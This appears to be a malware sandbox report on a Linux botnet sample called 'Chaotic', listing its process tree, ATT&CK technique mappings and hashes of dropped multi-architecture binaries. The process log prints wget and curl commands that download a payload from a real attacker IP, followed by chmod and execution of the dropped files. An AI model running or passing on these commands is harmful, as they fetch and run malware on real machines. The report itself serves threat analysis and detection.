  chmod +x busybox Chaotic config-err-rJ0QKx netplan_twhpd75w ohshit.sh snap-private-tmp ssh-uxNhGA2PLfAN systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-bolt.service-hlwbSJ systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-colord.service-HuJndO systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-ModemManager.service-rWWPAA systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-systemd-resolved.service-bQR5mZ ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.m68k ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1624
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1625
- /usr/bin/wget
  wget http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  - Writes file to tmp directory
  PID:1631
- /usr/bin/curl
  curl -O http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  - Writes file to tmp directory
  PID:1632
- /bin/chmod
  chmod +x busybox Chaotic config-err-rJ0QKx netplan_twhpd75w ohshit.sh snap-private-tmp ssh-uxNhGA2PLfAN systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-bolt.service-hlwbSJ systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-colord.service-HuJndO systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-ModemManager.service-rWWPAA systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-systemd-resolved.service-bQR5mZ ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.m68k ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sh4 ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1634
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1635

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/Chaotic

Filesize
37KB

MD5
a2a4d994986e8faf41f6a93465b5ebb7

SHA1
ec7cfe849e03096972d3f007f1356a993bfc0f87

SHA256
d01b8d4af85a0a32855a213d123da5621be7d41c0d4ee945369385efd6e9aa05

SHA512
010daa429992b6a3a6f9414b085d46eb017a956f7e53f5042b1a5e914544cb0d61af8ba4b4b5b77b5c0ce22ddbb80b6e14771fb2b2e0253bb6a64826fc4d57f2

Download Submit
/tmp/busybox

Filesize
2.0MB

MD5
b4dede5fc0b1bad5cb8e901bde126b97

SHA1
10cbe9a418ad84a1ed297948539d37aeb58dd810

SHA256
a9f0735d28f9a6a4f2634d3b144156f7b3df3b476a16a5ab0c7bdf98d74dd020

SHA512
45665ce3a42f63a01fdef517e0c4cb943efce64c8a32d3ce07ab4f1fafc23cda77f378d324342efc79dc9d2293c4b4454d06c1cf4997b9e866784de01cb546e6

Download Submit
/tmp/ub8ehJSePAfc9FYqZIT6.arc

Filesize
113KB

MD5
8cdbb53e27e069f0f5b84f23670b778f

SHA1
9192d6cbb193b78a702a1c386a147c86cbd33619

SHA256
c5ded3bbea87c4329b2326e65755ec99841a393472d17297c342ee32f48b31e9

SHA512
bf393682182c5c4d36d05e646498548c9f0628bc286eb3a74c7892ab868fa2446144d45dd1530517f620b505e82fcc688a03e8eb9a8b7bc8e9ef73efa693e669

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads